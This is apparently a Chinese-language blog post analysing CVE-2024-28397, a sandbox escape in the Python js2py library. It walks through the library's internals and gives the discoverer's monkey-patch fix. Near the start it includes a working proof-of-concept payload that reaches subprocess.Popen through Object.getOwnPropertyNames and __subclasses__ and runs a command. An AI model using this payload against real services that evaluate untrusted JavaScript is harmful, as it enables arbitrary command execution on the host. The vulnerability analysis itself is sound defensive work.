CVE-2024-28397 js2Py逃逸浅析
CVE-2024-28397 js2Py逃逸浅析
前言
这是在微信中给我推送的一个漏洞信息,js2py
作为一个在python
语言中进行js
操作的依赖库,确实使用的用途十分广泛。但是由于这个库更多的应当是用于进行爬虫操作,我对于这个库的第一印象也只是在渗透测试
中破解前端解密的时候使用过。因此它应该没有什么能够影响的Web资产面
。
这里的漏洞描述十分简单,我开始看的是云里雾里,也导致了这个原理十分简单的漏洞,一直调试了很久,下文记录一下整个心理历程。
漏洞原理
这是漏洞的payload
,最开始我以为pyjsparser.parser.ENABLE_PYIMPORT = False
的作用是阻止js
代码中通过一些恶意的语句来限制出现python
类的对象,因此我的目光是否在eval_js
途中使得ENABLE_PYIMPORT =True
,于是就开始了调试代码。
import js2py
payload = """
let cmd = "calc;"
let obj
obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true)
console.log(n11)
"""
def main():
try:
result = js2py.eval_js(payload)
except Exception as e:
print(e)
return False
return result
if __name__ == "__main__":
main()
首先进入到eval_js
中,会先创建一个EvalJs
对象,在创建EvalJs
途中会初始化一些变量,前面self._var
等都是空字典,直至six.iteritems(context)
,这里的six.py
是一个在python2
与python3
中的代码兼容库,而这里的最终作用应该是为了python一些上下文的变量能够被JavaScript访问到
。
def __init__(self, context={}, enable_require=False):
self.__dict__['_context'] = {}
exec (DEFAULT_HEADER, self._context)
self.__dict__['_var'] = self._context['var'].to_python()
if enable_require:
def _js_require_impl(npm_module_name):
from .node_import import require
from .base import to_python
return require(to_python(npm_module_name), context=self._context)
setattr(self._var, 'require', _js_require_impl)
if not isinstance(context, dict):
try:
context = context.__dict__
except:
raise TypeError(
'context has to be either a dict or have __dict__ attr')
for k, v in six.iteritems(context):
setattr(self._var, k, v)
def eval_js(js):
e = EvalJs()
return e.eval(js)
进入到eval
后就会来到execute
方法中,use_compilation_plan
应该是与某种编译的方式有关,默认是False
,随后会判断是否存在缓存,如果存在缓存,则会计算出hash
用于查找编译过的代码,如果没有缓存,则会调用translate_js
将JS
代码转换成Python
代码,最终把编译后的代码放入缓存,并通过exec
执行代码。
def execute(self, js=None, use_compilation_plan=False):
try:
cache = self.__dict__['cache']
except KeyError:
cache = self.__dict__['cache'] = {}
hashkey = hashlib.md5(js.encode('utf-8')).digest()
try:
compiled = cache[hashkey]
except KeyError:
code = translate_js(
js, '', use_compilation_plan=use_compilation_plan)
compiled = cache[hashkey] = compile(code, '<EvalJS snippet>',
'exec')
exec (compiled, self._context)(self, js=None, use_compilation_plan=False):
try:
cache = self.__dict__['cache']
except KeyError:
cache = self.__dict__['cache'] = {}
hashkey = hashlib.md5(js.encode('utf-8')).digest()
try:
compiled = cache[hashkey]
except KeyError:
code = translate_js(
js, '', use_compilation_plan=use_compilation_plan)
compiled = cache[hashkey] = compile(code, '<EvalJS snippet>',
'exec')
exec (compiled, self._context)
在translate_js
中,如果是use_compilation_plan
的编译方式,则会采用计划编译,默认不是,就会进入到pyjsparser_parse_fn
方法中将Javascript
代码解析成AST
树(可以简单理解为键值对的字典),通过clean_stacks
清除编译过程中的堆栈中,通过translating_nodes.trans
转换成python代码。
def translate_js(js, HEADER=DEFAULT_HEADER, use_compilation_plan=False, parse_fn=pyjsparser_parse_fn):
if use_compilation_plan and not '//' in js and not '/*' in js:
return translate_js_with_compilation_plan(js, HEADER=HEADER)
parsed = parse_fn(js)
translating_nodes.clean_stacks()
return HEADER + translating_nodes.trans(
parsed)
trans
方法中通过从全局变量中获取需要翻译的节点Program
,判断是否是标准翻译后,调用node
对节点翻译成Python
代码。
def trans(ele, standard=False):
try:
node = globals().get(ele['type'])
if not node:
raise NotImplementedError('%s is not supported!' % ele['type'])
if standard:
node = node.__dict__[
'standard'] if 'standard' in node.__dict__ else node
return node(**ele)
except:
#print ele
raise
进入到Program
当中,首先会通过reset
重置堆栈,随后遍历代码的内容并添加变量与函数,通过inline_stack.inject_inlines
替换掉内敛变量,最终转换成Python
代码。
def Program(type, body):
inline_stack.reset() # 重置内联变量堆栈
code = ''.join(trans(e) for e in body) # 翻译每个节点并生成代码
code = Context.get_code() + code # 添加提升的元素(注册变量和定义函数)
code = inline_stack.inject_inlines(code) # 替换所有内联变量
return code # 返回最终生成的代码
直到调试到这样,我依旧没有看到我想要的ENABLE_PYIMPORT =True
,并且我发现当我调试的时候,代码执行是不成功的,而直接运行是成功的,我尝试直接把pyjsparser.parser.ENABLE_PYIMPORT = False
加到了代码执行前面,发现没有效果。最终才知晓了原因。
这里关于pyjsparser.parser.ENABLE_PYIMPORT = False
的作用,其实是禁用 Python 导入功能 ,控制了是否允许在 JavaScript 代码中使用 Python 的导入语句。
import js2py
import pyjsparser
#pyjsparser.parser.ENABLE_PYIMPORT = False
js_code = """
pyimport os;
var current_dir = os.getcwd();
current_dir;
"""
result = js2py.eval_js(js_code)
print(result)
def parseStatementListItem(self):
if (self.lookahead['type'] == Token.Keyword):
val = (self.lookahead['value'])
if val == 'export':
raise Ecma51NotSupported('ExportDeclaration')
elif val == 'import':
raise Ecma51NotSupported('ImportDeclaration')
elif val == 'const' or val == 'let':
return self.parseLexicalDeclaration({
'inFor': false
})
elif val == 'function':
return self.parseFunctionDeclaration(Node())
elif val == 'class':
raise Ecma51NotSupported('ClassDeclaration')
elif ENABLE_PYIMPORT and val == 'pyimport':
return self.parsePyimportStatement()
return self.parseStatement()
这里从val中能够获取到pyimport
,当ENABLE_PYIMPORT=true
时才会进入到parsePyimportStatement()
解析,否则会来到self.parseStatement()
最终进入到throwUnexpectedToken
抛出异常信息
但是payload
没有受到限制,payload
是通过当Javascript
在于Python
交互时,通过Object.getOwnPropertyNames({})
获取了一个PyObjectWrapper
,最终通过找到基类的Popen
方法触发了命令执行。所以漏洞的成因是ENABLE_PYIMPORT = False
的控制没有考虑全面。
obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__
#Object.getOwnPropertyNames获取到了PyObjectWrapper,然后通过类属性获取到基类
修复
这里发现者给出了漏洞的修复方案,主要就是通过替换了Object.getOwnPropertyNames
原始方法的形式,使得getOwnPropertyNames
只返回一个列表,从而获取不到pyObjectWrapper
对象,但是也可能会对原来的代码产生一定的影响。
def monkey_patch():
from js2py.constructors.jsobject import Object
fn = Object.own["getOwnPropertyNames"]["value"].code
def wraps(*args, **kwargs):
result = fn(*args, **kwargs)
return list(result)
Object.own["getOwnPropertyNames"]["value"].code = wraps
if __name__ == "__main__":
monkey_patch()
尝试下是否有其它方式可以绕过,关键就在于能不能不通过getOwnPropertyNames
来获取PyObjectWrapper
,查看内置的Python
方法,还有getOwnPropertyDescriptor
,getOwnPropertySymbols
等分别用于获取属性描述符,对象的符号属性。
Object.keys()
Object.getOwnPropertyDescriptor()
Object.getOwnPropertySymbols()
Object.entries()
Object.getPrototypeOf()
Object.create()
...似乎都不行
类似如下,虽然它们都是Python
对象,比如PyJsString
、PyJsObject
,但是最终返回出去的只是那个值,只有getOwnPropertyNames
返回的显示是一个对象,最终也是没有找到。
def Js(val, Clamped=False):
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
elif isinstance(val, FunctionType):
return PyJsFunction(val, FunctionPrototype)
elif isinstance(val, dict):
temp = PyJsObject({}, ObjectPrototype)
for k, v in six.iteritems(val):
temp.put(Js(k), Js(v))
return temp
elif isinstance(val, (list, tuple)):
return PyJsArray(val, ArrayPrototype)
elif isinstance(val, JsObjectWrapper):
return val.__dict__['_obj']
elif NUMPY_AVAILABLE and isinstance(val, numpy.ndarray):
if val.dtype == numpy.int8:
return PyJsInt8Array(val, Int8ArrayPrototype)
elif val.dtype == numpy.uint8 and not Clamped:
return PyJsUint8Array(val, Uint8ArrayPrototype)
elif val.dtype == numpy.uint8 and Clamped:
return PyJsUint8ClampedArray(val, Uint8ClampedArrayPrototype)
elif val.dtype == numpy.int16:
return PyJsInt16Array(val, Int16ArrayPrototype)
elif val.dtype == numpy.uint16:
return PyJsUint16Array(val, Uint16ArrayPrototype)
elif val.dtype == numpy.int32:
return PyJsInt32Array(val, Int32ArrayPrototype)
elif val.dtype == numpy.uint32:
return PyJsUint16Array(val, Uint32ArrayPrototype)
elif val.dtype == numpy.float32:
return PyJsFloat32Array(val, Float32ArrayPrototype)
elif val.dtype == numpy.float64:
return PyJsFloat64Array(val, Float64ArrayPrototype)
else: # try to convert to js object
return py_wrap(val)
似乎只有当避开了所有的类型检测,最终调用的是py_wrap
才会返回PyObjectWrapper
的python对象
,而getOwnPropertyNames
返回的是dict_keys[]
的类型,不属于上述的任何类型,因此才能够成功。
总结
js2py
沙盒逃逸的成因就是因为Javascirpt
与Python
进行交互途中,对代码的限制不严,导致能够在js
中获取到pyObjectWrapper
对象进而获取基类,造成了逃逸。
文章标题:CVE-2024-28397 js2Py逃逸浅析
文章链接:https://aiwin.fun/index.php/archives/4421/
最后编辑:2024 年 6 月 26 日 12:05 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
看的我热血沸腾啊